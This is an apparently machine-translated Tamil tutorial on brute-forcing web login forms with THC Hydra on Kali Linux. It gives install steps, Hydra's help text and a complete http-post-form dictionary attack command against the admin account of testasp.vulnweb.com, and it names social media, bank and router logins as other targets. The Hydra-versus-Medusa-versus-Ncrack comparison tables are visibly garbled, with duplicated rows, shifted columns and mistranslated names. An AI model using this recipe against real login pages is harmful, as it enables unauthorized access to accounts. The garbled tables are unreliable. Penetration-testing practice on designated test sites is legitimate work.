காளி லினக்ஸில் ஹைட்ராவுடன் வலை அடிப்படையிலான உள்நுழைவு பக்கத்தை கிராக் செய்யவும்

Crack Web Based Login Page With Hydra Kali Linux



கடவுச்சொல் தொழில்நுட்ப ரீதியாக ஆதாரங்களின் அங்கீகாரத்திற்கு அல்லது அணுகலுக்குப் பயன்படுத்தப்படும் எழுத்துக்களின் இரகசிய சரம் என வரையறுக்கப்படுகிறது. அந்த ஆதாரங்களை அணுக அனுமதிக்கப்படாத மற்றவர்களிடமிருந்து இது ரகசியமாக வைக்கப்பட்டு மறைக்கப்பட வேண்டும். கணினியின் ஆரம்ப காலங்களிலிருந்து கடவுச்சொற்கள் கணினிகளுடன் பயன்படுத்தப்படுகின்றன. முதல் முறை பகிர்வு அமைப்புகளில் ஒன்று, 1961 இல் அறிமுகப்படுத்தப்பட்டது. இது ஒரு பயனர் கடவுச்சொல்லைக் கோரும் உள்நுழைவு கட்டளையைக் கொண்டிருந்தது. PASSWORD ஐ தட்டச்சு செய்த பிறகு, கணினி அச்சிடும் பொறிமுறையை முடக்குகிறது, முடிந்தால், பயனர் தனியுரிமையுடன் தனது கடவுச்சொல்லை தட்டச்சு செய்யலாம்.

கடவுச்சொல்லின் வலிமை நீளம், சிக்கலான தன்மை மற்றும் கணிக்க முடியாத தன்மை ஆகும். யூகிக்கவோ அல்லது உடைக்கவோ எதிர்ப்பதில் இது செயல்திறனை அளவிடுகிறது. பலவீனமான கடவுச்சொற்கள், மறுபுறம் தனிப்பட்ட/பெருநிறுவன மின்னஞ்சல்கள், நிதித் தகவல், வணிகத் தகவல், கடன் அட்டைகள் போன்ற முக்கியமான தரவுகளை யூகிக்கவும் அணுகவும் தேவையான நேரத்தைக் குறைக்கிறது.







பல்வேறு தாக்குதல் திட்டங்களின் வலிமைக்கு ஏற்ப கடவுச்சொல் பலவீனமாக இருக்க பல வழிகள் உள்ளன. இந்த வகையான நற்சான்றிதழ் தாக்குதலில் மிகவும் பிரபலமானது, முரட்டு சக்தி. இது யூகித்தல், மறைகுறியாக்கப்பட்ட தரவு போன்ற கடவுச்சொல் அல்லது பயன்பாட்டு நிரல் அல்லது ஹேக்கிங் கருவியால் பயன்படுத்தப்படும் தரவு குறியாக்கத்தைப் புரிந்துகொள்ள முயற்சிப்பது போன்ற ஒரு சோதனை மற்றும் பிழை முறையாகும்.



ஹைட்ரா வேகமான நெட்வொர்க் லாகன் கிராக்கர் ஆகும், இது பல தாக்குதல் நெறிமுறைகளை ஆதரிக்கிறது. இது மிகவும் வேகமான மற்றும் நெகிழ்வானது, மேலும் புதிய தொகுதிகள் சேர்க்க எளிதானது. இந்த கருவி ஆராய்ச்சியாளர்களுக்கும் பாதுகாப்பு ஆலோசகர்களுக்கும் தொலைதூரத்தில் ஒரு அமைப்புக்கு அங்கீகரிக்கப்படாத அணுகலைப் பெறுவது எவ்வளவு எளிது என்பதைக் காட்ட உதவுகிறது. ஹைட்ரா வான் ஹவுசரால் எழுதப்பட்டது மற்றும் அதற்கு கூடுதலாக டேவிட் மேசிஜாக் ஆதரவு அளித்தார். சமீபத்திய புதுப்பிப்பில், ஹைட்ரா மேம்பாடு பொது கிதுப் களஞ்சியத்திற்கு நகர்த்தப்படுகிறது: https://github.com/vanhauser-thc/thc-hydra.



லினக்ஸ், விண்டோஸ்/சிக்வின், சோலாரிஸ் 11, ஃப்ரீபிஎஸ்டி 8.1, ஓபன் பிஎஸ்டி, ஓஎஸ்எக்ஸ், கியூஎன்எக்ஸ்/பிளாக்பெர்ரி ஆகியவற்றில் தொகுக்க ஹைட்ரா சோதனை செய்யப்பட்டது, மேலும் இது ஜிபிஎல்வி 3 இன் கீழ் ஒரு சிறப்பு ஓபன்எஸ்எஸ்எல் உரிம விரிவாக்கத்துடன் கிடைக்கிறது.





டிசிசி ஹைட்ரா இந்த நெறிமுறைகளை ஆதரிக்கிறது: சிஸ்கோ ஏஏஏ, சிஸ்கோ ஆத், சிஸ்கோ இயக்கு, சிவிஎஸ், எஃப்டிபி, எச்டிடிபி (எஸ்) -ஃபார்ம்-கெட், எச்டிடிபி (எஸ்) -ஃபார்ம்-போஸ்ட், எச்டிடிபி (எஸ்) -ஜிஇடி, எச்டிடிபி (எஸ்) -ஹெட் , HTTP- ப்ராக்ஸி, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, ஆரக்கிள் கேட்பவர், ஆரக்கிள் SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 மற்றும் v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC மற்றும் XMPP.

மற்ற ஹேக்ராவை ஒட்டுதல் மற்ற கருவிகளுடன்

ஹைட்ராவைத் தவிர நிறைய உள்நுழைவு பட்டாசுக் கருவிகளும் உள்ளன, இருப்பினும், நெறிமுறைகளின் பெரிய பட்டியலையும், ஹைட்ரா போன்ற இணையான உள்நுழைவு பட்டாசு ஆதரவையும் யாரும் ஆதரிக்கவில்லை. கீழேயுள்ள அட்டவணைகள் அம்சங்கள், சேவைகள் மற்றும் மெதுசா மற்றும் என்ராக் ஆகியவற்றுக்கு எதிரான வேக ஒப்பீட்டின் முடிவைக் காட்டுகின்றன.



அம்சங்கள்

அம்சம் ஹைட்ரா ஜெல்லிமீன் என்ராக்
உரிமம் ஏஜிபிஎல்வி 3 GPLv2 GPLv2 + Nmap விதிமுறைகள்
IPv6 ஆதரவு ஆம் இல்லை இல்லை
கிராஃபிக் பயனர் இடைமுகம் ஆம் ஆம் இல்லை
சர்வதேச ஆதரவு (RFC 4013) ஆம் இல்லை இல்லை
HTTP ப்ராக்ஸி ஆதரவு ஆம் ஆம் இல்லை
SOCKS ப்ராக்ஸி ஆதரவு ஆம் இல்லை இல்லை
ஆதரிக்கப்பட்ட நெறிமுறைகள் 51 22 7

சேவைகள்

கிராக் வலை அடிப்படையிலான உள்நுழைவு பக்கம்

சேவை விவரங்கள் ஹைட்ரா ஜெல்லிமீன் என்ராக்
ADAM-6500 ஆம் இல்லை இல்லை
AFP ஆம் ஆம் இல்லை
நட்சத்திரம் ஆம் இல்லை இல்லை
சிஸ்கோ கடவுச்சொல் ஆம் இல்லை இல்லை
சிஸ்கோ இயக்கு ஆம் இல்லை இல்லை
சிவிஎஸ் ஆம் ஆம் இல்லை
ஃபயர்பேர்ட் ஆம் இல்லை இல்லை
FTP ஆம் ஆம் ஆம்
SSL ஆதரவு SSL க்கு மேல் AUTH TLS & FTP SSL க்கு மேல் AUTH TLS & FTP இல்லை
HTTP முறை (கள்) பெறு, தலை, போஸ்ட் பெறு பெறு
அடிப்படை ஆத் ஆம் ஆம் ஆம்
HTTP படிவம் முறை (கள்) பெறு, போஸ்ட் பெறு, போஸ்ட் இல்லை
SSL ஆதரவு HTTPS HTTPS இல்லை
HTTP ப்ராக்ஸி அடிப்படை ஆத் ஆம் இல்லை இல்லை
DIGEST-MD5 ஆத் ஆம் இல்லை இல்லை
என்டிஎல்எம் ஆத் ஆம் இல்லை இல்லை
SSL ஆதரவு HTTPS இல்லை இல்லை
HTTP ப்ராக்ஸி URL கணக்கீடு ஆம் இல்லை இல்லை
ICQ v5 ஆம்
1
இல்லை இல்லை
IMAP உள்நுழைவு ஆதரவு ஆம் ஆம் இல்லை
AUTH உள்நுழைவு ஆதரவு ஆம் இல்லை இல்லை
AUTH PLAIN ஆதரவு ஆம் ஆம் இல்லை
AUTH CRAM-MD5 ஆதரவு ஆம் இல்லை இல்லை
AUTH CRAM-SHA1 ஆதரவு ஆம் இல்லை இல்லை
AUTH CRAM-SHA256 ஆதரவு ஆம் இல்லை இல்லை
AUTH DIGEST-MD5 ஆதரவு ஆம் இல்லை இல்லை
AUTH NTLM ஆதரவு ஆம் ஆம் இல்லை
AUTH SCRAM-SHA1 ஆதரவு ஆம் இல்லை இல்லை
SSL ஆதரவு IMAPS & STARTTLS IMAPS & STARTTLS இல்லை
ஐஆர்சி பொதுவான சர்வர் கடவுச்சொல் ஆம் இல்லை இல்லை
OPER பயன்முறை கடவுச்சொல் ஆம் இல்லை இல்லை
எல்.டி.ஏ.பி. v2, எளிய ஆதரவு ஆம் இல்லை இல்லை
v3, எளிய ஆதரவு ஆம் இல்லை இல்லை
v3, AUTH CRAM-MD5 ஆதரவு ஆம் இல்லை இல்லை
AUTH DIGEST-MD5 ஆதரவு ஆம்
AUTH NTLM ஆதரவு ஆம் ஆம்
AUTH SCRAM-SHA1 ஆதரவு ஆம்
SSL ஆதரவு IMAPS & STARTTLS IMAPS & STARTTLS
ஐஆர்சி பொதுவான சர்வர் கடவுச்சொல் ஆம்
OPER பயன்முறை கடவுச்சொல் ஆம்
எல்.டி.ஏ.பி. v2, எளிய ஆதரவு ஆம்
v3, எளிய ஆதரவு ஆம்
v3, AUTH CRAM-MD5 ஆதரவு ஆம்
v3, AUTH DIGEST-MD5 ஆதரவு ஆம்
MS-SQL ஆம் ஆம்
MySQL v3.x ஆம் ஆம்
v4.x ஆம் ஆம்
v5.x ஆம் ஆம்
என்சிபி ஆம் ஆம்
என்என்டிபி பயனர் ஆதரவு ஆம் ஆம்
AUTH உள்நுழைவு ஆதரவு ஆம்
AUTH PLAIN ஆதரவு ஆம்
AUTH CRAM-MD5 ஆதரவு ஆம்
AUTH DIGEST-MD5 ஆதரவு ஆம்
AUTH NTLM ஆதரவு ஆம்
SSL ஆதரவு SSL க்கு மேல் STARTTLS & NNTP
ஆரக்கிள் தரவுத்தளம் ஆம் ஆம்
டிஎன்எஸ் கேட்பவர் ஆம்
SID கணக்கீடு ஆம்
PC-NFS ஆம்
pcAnywhere பூர்வீக அங்கீகாரம் ஆம் ஆம்
OS அடிப்படையிலான அங்கீகாரம் (MS) ஆம்
POP3 பயனர் ஆதரவு ஆம் ஆம் ஆம்
APOP ஆதரவு ஆம்
AUTH உள்நுழைவு ஆதரவு ஆம் ஆம்
AUTH PLAIN ஆதரவு ஆம் ஆம்
AUTH CRAM-MD5 ஆதரவு ஆம்
AUTH CRAM-SHA1 ஆதரவு ஆம்
AUTH CRAM-SHA256 ஆதரவு ஆம்
AUTH DIGEST-MD5 ஆதரவு ஆம்
AUTH NTLM ஆதரவு ஆம் ஆம்
SSL ஆதரவு POP3S & STARTTLS POP3S & STARTTLS POP3S
PostgreSQL ஆம் ஆம்
நட்சத்திரம் ஆம்
ஆர்.டி.பி. விண்டோஸ் பணிநிலையம் ஆம் ஆம் ஆம்
விண்டோஸ் சர்வர் ஆம் ஆம்
டொமைன் அங்கீகாரம் ஆம் ஆம்
ரெடிஸ் ஆம் இல்லை
REXEC ஆம் ஆம்
RLOGIN ஆம் ஆம்
RPCAP ஆம் இல்லை
ஆர்எஸ்எச் ஆம் ஆம்
ஆர்டிஎஸ்பி ஆம் இல்லை
SAP R / 3 ஆம்
சீமென்ஸ் S7-300 ஆம்
SIP ஆம்
SSL ஆதரவு SSL க்கு மேல் SIP
SMB NetBIOS முறை ஆம் ஆம் இல்லை
W2K நேட்டிவ் பயன்முறை ஆம் ஆம் ஆம்
ஹாஷ் பயன்முறை ஆம் ஆம் இல்லை
தெளிவான உரை அங்கீகாரம் ஆம் ஆம்
எல்எம்வி 1 ஆத் ஆம் ஆம் ஆம்
எல்எம்வி 2 ஆத் ஆம் ஆம் ஆம்
NTLMv1 ஆத் ஆம் ஆம் ஆம்
NTLMv2 ஆத் ஆம் ஆம் ஆம்
SMTP AUTH உள்நுழைவு ஆதரவு ஆம் ஆம்
AUTH PLAIN ஆதரவு ஆம் ஆம்
AUTH CRAM-MD5 ஆதரவு ஆம்
AUTH DIGEST-MD5 ஆதரவு ஆம்
AUTH NTLM ஆதரவு ஆம் ஆம்
SSL ஆதரவு SMTPS & STARTTLS SMTPS & STARTTLS
SMTP பயனர் எண் VRFY cmd ஆம் ஆம்
EXPN cmd ஆம் ஆம்
RCPT TO cmd ஆம் ஆம்
SNMP v1 ஆம் ஆம்
v2c ஆம் ஆம்
v3 (MD5/SHA1 அங்கீகாரம் மட்டும்)
சாக்குகள் v5, கடவுச்சொல் அங்கீகாரம் ஆம்
SSH v1 ஆம்
v2 ஆம் ஆம் ஆம்
SSH விசைகள் v1, v2 ஆம்
சப்வர்ஷன் (SVN) ஆம் ஆம்
குழு பேச்சு டிஎஸ் 2 ஆம்
டெல்நெட் ஆம் ஆம் ஆம்
XMPP AUTH உள்நுழைவு ஆதரவு ஆம்
AUTH PLAIN ஆதரவு ஆம்
AUTH CRAM-MD5 ஆதரவு ஆம்
AUTH DIGEST-MD5 ஆதரவு ஆம்
AUTH SCRAM-SHA1 ஆதரவு ஆம்
VMware அவுத் டீமான் v1.00 / v1.10 ஆம் ஆம்
SSL ஆதரவு ஆம் ஆம்
விஎன்சி RFB 3.x கடவுச்சொல் ஆதரவு ஆம் ஆம்
RFB 3.x பயனர்+கடவுச்சொல் ஆதரவு (அல்ட்ராவிஎன்சி மட்டும்)
RFB 4.x கடவுச்சொல் ஆதரவு ஆம் ஆம்
RFB 4.x பயனர்+கடவுச்சொல் ஆதரவு (அல்ட்ராவிஎன்சி மட்டும்)

வேக ஒப்பீடு

வேகம் (இல்) ஹைட்ரா ஜெல்லிமீன் என்ராக்
1 பணி / FTP தொகுதி 11.93 12.97 18.01
4 பணிகள் / FTP தொகுதி 4.20 5.24 9.01
16 பணிகள் / FTP தொகுதி 2.44 2.71 12.01
1 பணி / SSH v2 தொகுதி 32.56 33.84 45.02
4 பணிகள் / SSH v2 தொகுதி 10.95 உடைந்தது தவறவிட்டேன்
16 பணிகள் / SSH v2 தொகுதி 5.14 உடைந்தது தவறவிட்டேன்

அது ஹைட்ராவின் சுருக்கமான எளிய அறிமுகம். இப்போது நிறுவலுக்கு செல்லலாம்.

ஹைட்ராவை நிறுவுதல்

காளி லினக்ஸில் ஹைட்ரா முன்பே நிறுவப்பட்டுள்ளது, இருப்பினும் உங்களிடம் வேறு இயக்க முறைமை இருந்தால் அதை தொகுத்து உங்கள் கணினியில் நிறுவலாம். தற்போது, ​​பல்வேறு தளங்களில் ஹைட்ராவின் ஆதரவு:

  • அனைத்து யுனிக்ஸ் தளங்களும் (லினக்ஸ், *பிஎஸ்டி, சோலாரிஸ், முதலியன)
  • MacOS (அடிப்படையில் ஒரு BSD குளோன்)
  • சிக்வின் உடன் விண்டோஸ் (IPv4 மற்றும் IPv6 இரண்டும்)
  • லினக்ஸ், மேகோஸ் அல்லது கியூஎன்எக்ஸ் அடிப்படையிலான மொபைல் அமைப்புகள்

ஹைட்ராவைப் பதிவிறக்கவும், கட்டமைக்கவும், தொகுக்கவும் மற்றும் நிறுவவும், முனையத்தில் தட்டச்சு செய்யவும்:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

உங்களிடம் உபுண்டு/டெபியன் இருந்தால் உங்களுக்கு சில சார்பு நூலகங்கள் தேவைப்படும்:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

அந்த நூலகங்களை உங்கள் களஞ்சியத்தில் காண முடியவில்லை எனில், அவற்றை கைமுறையாக பதிவிறக்கம் செய்து நிறுவ வேண்டும்.

ஹைட்ராவை எவ்வாறு பயன்படுத்துவது

வாழ்த்துக்கள், இப்போது உங்கள் கணினியில் ஹைட்ராவை நிறுவுவதில் வெற்றி பெற்றுள்ளீர்கள். உண்மையில், ஹைட்ரா இரண்டு சுவைகளுடன் வருகிறது, GUI-gtk மற்றும் எனக்கு பிடித்த, CLI பதிப்பு. மேலும் ஹைட்ரா சிஎல்ஐ வழிகாட்டப்பட்ட பதிப்பையும் கொண்டுள்ளது, இது ஹைட்ரா-வழிகாட்டி என்று அழைக்கப்படுகிறது. அனைத்து கட்டளைகளையும் வாதங்களையும் முனையத்தில் கைமுறையாக தட்டச்சு செய்வதற்குப் பதிலாக நீங்கள் படிப்படியாக வழிநடத்தப்படுவீர்கள். உங்கள் முனைய வகையிலிருந்து ஹைட்ராவை இயக்க:

CLI க்கு:

hydra

CLI- வழிகாட்டிக்கு:

hydra-wizard

GUI க்கு:

xhydra

நீங்கள் 'ஹைட்ரா' என தட்டச்சு செய்த பிறகு, இது போன்ற உதவி கட்டளைகளைக் காண்பிக்கும்:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

ஹைட்ராவுடன் ப்ரூட்ஃபோர்ஸ் வலை அடிப்படையிலான உள்நுழைவு

நான் முன்பு குறிப்பிட்டது போல ஹைட்ரா சில முரட்டுத்தனமான சேவையை ஆதரிக்கிறது, அவற்றில் ஒன்று சமூக ஊடக உள்நுழைவு வடிவம், பயனர் வங்கி உள்நுழைவு வடிவம், உங்கள் திசைவி வலை அடிப்படையிலான உள்நுழைவு போன்ற வலை அடிப்படையிலான உள்நுழைவுகளைப் பயன்படுத்த பயன்படுகிறது. இது இந்த கோரிக்கையை கையாளும். இந்த டுடோரியலில், பாதிக்கப்படக்கூடிய வலை உள்நுழைவுகளை எவ்வாறு துன்புறுத்துவது என்பதை நான் உங்களுக்குக் காண்பிக்கப் போகிறேன். நாம் ஹைட்ராவை எரியும் முன், கீழே உள்ள சில தேவையான வாதங்களை நாம் தெரிந்து கொள்ள வேண்டும்:

  • இலக்கு : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • பயனர்பெயரை உள்நுழைக : நிர்வாகம் (உங்களுக்கு உறுதியாக தெரியாவிட்டால், இதைச் செய்யுங்கள்)
  • கடவுச்சொல் பட்டியல் : சாத்தியமான கடவுச்சொற்களைக் கொண்ட அகராதி கோப்பு பட்டியலின் இருப்பிடம்.
  • படிவ அளவுருக்கள் : பொதுவாக, கோரிக்கை அளவுருக்களின் வடிவத்தைப் பெற சேதப்படுத்தும் தரவு அல்லது ப்ராக்ஸியைப் பயன்படுத்தவும். ஆனால் இங்கே நான் ஐஸ்வீசல், பயர்பாக்ஸ் அடிப்படையிலான, நெட்வொர்க் டெவலப்பர் கருவிப்பட்டியைப் பயன்படுத்துகிறேன்.
  • சேவை தொகுதி : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

உலாவி, ஐஸ்வீசல்/பயர்பாக்ஸைப் பயன்படுத்தி போஸ்ட் அளவுருக்களைப் பெறுதல்

உங்கள் பயர்பாக்ஸ் உலாவி விசைகளை அழுத்தவும் ' CTRL + SHIFT + Q '. பின்னர் வலை உள்நுழைவு பக்கத்தைத் திறக்கவும்http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3Fநெட்வொர்க் டெவலப்பர் தாவலில் சில உரை தோன்றுவதை நீங்கள் கவனிப்பீர்கள். எங்களுக்கு என்ன கோப்புகள் மாற்றப்படுகின்றன என்பதை இது உங்களுக்குக் கூறுகிறது. நாங்கள் இதுவரை எந்தத் தரவையும் பதிவு செய்யாததால், அனைத்தும் பெறப்பட்ட முறையைப் பார்க்கவும்.

பிந்தைய வடிவ அளவுருக்களைப் பெற, பயனர்பெயர் மற்றும் கடவுச்சொல் படிவத்தில் எதை வேண்டுமானாலும் தட்டச்சு செய்யவும். நெட்வொர்க் டெவலப்பர் தாவலில் ஒரு புதிய POST முறையை நீங்கள் கவனிப்பீர்கள். அந்த வரியில் இருமுறை கிளிக் செய்யவும், தலைப்புகள் தாவலில் வலது பக்கத்தில் உள்ள திருத்து மற்றும் மீண்டும் அனுப்பு பொத்தானைக் கிளிக் செய்யவும். கோரிக்கை உடலில், கடைசி வரியை நகலெடுக்கவும் tfUName = அசு & tfUPass = ரைமு . தி tfUName மற்றும் tfUPass நமக்கு தேவையான அளவுருக்கள். கீழே பார்த்தபடி:

காளி லினக்ஸில் பல சொற்களஞ்சியங்கள் உள்ளன, பொருத்தமான சொல் பட்டியலைத் தேர்வு செய்யவும் அல்லது வெறும் rockyou.txt இடத்தைப் பயன்படுத்தவும் /usr/share/wordlists/ கீழே பார்த்தபடி:

சரி, இப்போது எங்களுக்குத் தேவையான அனைத்து வாதங்களும் கிடைத்து ஹைட்ராவை எரிக்கத் தயாராக உள்ளன. கட்டளை முறை இங்கே:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

கட்டளைகளை உடைப்போம்:

  • தி : பயனர்பெயர் கணக்கு கொண்ட ஒரு சொல், ஒரு கோப்பில் சாத்தியமான பயனர் பெயரின் பட்டியலைப் பார்க்க -L ஐப் பயன்படுத்தவும்.
  • பி : சாத்தியமான கடவுச்சொல்லின் ஒரு கோப்பு பட்டியல், -p ஐ பயன்படுத்தி ஒரு சொல் கடவுச்சொல்லை யூகிக்காமல் உண்மையில் பயன்படுத்தவும்.
  • testapp.vunlwebapp.com : ஒரு புரவலன் பெயர் அல்லது இலக்கு
  • http-post-form : நாம் பயன்படுத்தும் சேவை தொகுதி
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = 3 அளவுருக்கள் தேவை, தொடரியல்:
    {பக்கம் URL}: {பிந்தைய உடல் வடிவம் அளவுருக்களைக் கோருங்கள்}: S = {வெற்றிகரமாக உள்நுழைந்த பிறகு பக்கத்தில் உள்ளவற்றைக் கண்டறியவும்}
  • v = வினைச்சொல் முறை
  • வி = உள்நுழைவைக் காட்டு: ஒவ்வொரு முயற்சிக்கும் பாஸ்
  • எஃப் = ஜோடி உள்நுழைவு என்றால் நிரலை நிறுத்துங்கள்: கடவுச்சொல் காணப்படுகிறது

இப்போது கடவுச்சொல்லை உடைக்க ஹைட்ரா முயற்சி செய்யலாம், அது அகராதி தாக்குதல் என்பதால் அதற்கு நேரம் தேவை. நீங்கள் ஒரு ஜோடி உள்நுழைவைக் கண்டறிந்தவுடன்: கடவுச்சொல் ஹைட்ரா உடனடியாக வேலையை முடித்து சரியான சான்றுகளைக் காட்டும்.

ஹைட்ராவால் செய்யக்கூடிய பல விஷயங்கள் உள்ளன, ஏனெனில் இந்த டுடோரியலில் ஹைட்ராவைப் பயன்படுத்தி வலை அடிப்படையிலான உள்நுழைவை எவ்வாறு மிருதுவாக்குவது என்பதை நாங்கள் கற்றுக்கொண்டோம், நாங்கள் ஒரு நெறிமுறையை மட்டுமே கற்றுக்கொள்கிறோம், அதாவது http-post-form நெறிமுறை. Ssh, ftp, telnet, VNC, proxy போன்ற இன்னொரு நெறிமுறைக்கு எதிராகவும் நாம் ஹைட்ராவைப் பயன்படுத்தலாம்.